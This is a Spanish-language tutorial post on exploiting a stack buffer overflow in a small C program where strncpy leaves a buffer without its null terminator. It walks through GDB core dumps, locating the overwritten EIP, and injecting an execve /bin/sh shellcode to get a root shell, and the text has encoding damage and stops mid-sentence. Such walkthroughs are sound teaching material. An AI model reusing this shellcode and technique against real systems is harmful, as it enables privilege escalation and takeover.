En este artÃculo veremos como es posible aprovechar un error de programación que a simple vista no es detectable, se trata de la copia de datos introducidos por un usuario en una variable, al fin y al cabo es un bufferoverflow mas pero resulta curioso como un software que parecÃa a prueba de bombas termina suponiendo un problema de seguridad para el sistema.
El código a analizar es el siguiente:
#include <stdio.h>
#include <string.h>
void func(char *str1, char *str2){
char buff_a[32];
char buff_b[24];
char buff_c[32];
printf("buff_a is stored at %p.", &buff_a);
printf("buff_b is stored at %p.", &buff_b);
printf("buff_c is stored at %p.", &buff_c);
strncpy(buff_c, str1, sizeof(buff_c));
strncpy(buff_b, str2, sizeof(buff_b)-1);
strcpy(buff_a, buff_c);
}
int main(int argc, char *argv[]){
if ( argc < 3 ){
printf("Uso: %s CADENA-1 CADENA-2", argv[0]);
exit(0);
}
func(argv[1], argv[2]);
return 0;
}
Como podemos observar he metido código de debug en el que se muestra la dirección donde se ha almacenado cada una de las variables, también cabe destacar que en buff_c y buff_b se controla la longitud de los datos a copiar en estas variables mediante strncpy(buff_c, str1, sizeof(buff_c)).
Aunque a simple vista no sea obvio, existe un problema en el código anterior, y es que las variables en RAM se delimitan por el carácter \0, si la entrada en una de las variables machaca este delimitador la variable terminarÃa donde se encuentre el próximo \0.
Podriamos introducir una entrada muy larga como argv[1], esta serÃa copiada por strncpy(buff_c, str1, sizeof(buff_c)), con lo que el delimitador \0 desaparecerÃa, quedando el final de buff_c en el final de de buff_b, con buff_b no hay problema ya que la copia de los datos se realiza del siguiente modo, strncpy(buff_b, str2, sizeof(buff_b)-1), al copiar buff_c en buff_a se estarÃa copiando buff_c+buff_b ya que es donde se encuentra el primer delimitador \0. De este modo podemos introducir nuestra shellcode en buff_c, sobreescribir el EIP con esta dirección y de este modo obtener un poco de magia.
Estado normal:
Sin delimitador:
Lo primero será compilar nuestro software:
Generamos un coredump para analizarlo posteriormente utilizando GDB:
kr0m@reversedbox:
perl -e 'print "A"x48'
perl -e 'print "B"x48'
buff_a is stored at 0xbffff710.
buff_b is stored at 0xbffff6f8.
buff_c is stored at 0xbffff6d8.
Violación de segmento (`core' generado)
Averiguamos la dirección donde comienza buff_c, a pesar de tener el printf para asegurarnos vamos a localizar nosotros la dirección de forma manual:
[New LWP 4243]
Core was generated by `./overrun3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBBBBB'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
El EIP ha sido cobreescrito con BBBBB…, afinamos un poco mas:
perl -e 'print "A"x48'
perl -e 'print "AAAABBBBCCCCDDDDEEEE"'
buff_a is stored at 0xbffff730.
buff_b is stored at 0xbffff718.
buff_c is stored at 0xbffff6f8.
Violación de segmento (`core' generado)
[New LWP 4248]
Core was generated by `./overrun3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAABBBBCCCCDDDDEEE'.
Program terminated with signal 11, Segmentation fault.
#0 0x44444444 in ?? ()
El EIP está siendo sobreescrito con el valor de la DDDD, ahora metemos la shellcode en el primer parámetro de entrada y averiguamos la dirección de memoria donde se encuentra nuestra shellcode:
perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x10'
perl -e 'print "AAAABBBBCCCCDDDDEEEE"'
buff_a is stored at 0xbffff740.
buff_b is stored at 0xbffff728.
buff_c is stored at 0xbffff708.
Violación de segmento (`core' generado)
[New LWP 3820]
Core was generated by `./overrun3 1É1À1?
Qh//shh/binã?AAAAAAAAAA AAAABBBBCCCCDDDDEEEE'.
Program terminated with signal 11, Segmentation fault.
#0 0x44444444 in ?? ()
Si miramos el contenido de la memoria en posiciones cercanas al ESP podemos distinguir nuestra shellcode:
0xbffff6f0: 0xbffff740 0xbffff708 0x00000017 0xbffff7a4
0xbffff700: 0x08048230 0xbffff798 0xc031c931 0x0bb0d231
0xbffff710: 0x2f2f6851 0x2f686873 0x896e6962 0x4180cde3
0xbffff720: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffff708: 0xc031c931
Volvemos a ejecutar el software pero esta vez sobreescribiremos el EIP con la dirección del inicio de la shellcode:
kr0m
perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x10'
perl -e 'print "AAAABBBBCCCCx08xf7xffxbf"'
buff_a is stored at 0xbffff740.
buff_b is stored at 0xbffff728.
buff_c is stored at 0xbffff708.
#
root
NOTA: Si en algún momento dado tenemos dudas de si se está ejecutando nuestra shellcode podemos ejecutar una INT3 (0xCC) a modo de prueba asà nos aseguramos de que las direcciones de memoria están calculadas correctamente y que el EIP ha sido sobreescrito con el valor correcto:
perl -e 'print "xcc" . "A"x31'
perl -e 'print "AAAABBBBCCCCx08xf7xffxbf"'
buff_a is stored at 0xbffff740.
buff_b is stored at 0xbffff728.
buff_c is stored at 0xbffff708.
`trap' para punto de parada/seguimiento
En este artÃculo hemos aprendido como de peligroso puede llegar a ser no controlar la longitud de las entradas presentadas por el usuario, en este caso ha sido capaz de omitir el carácter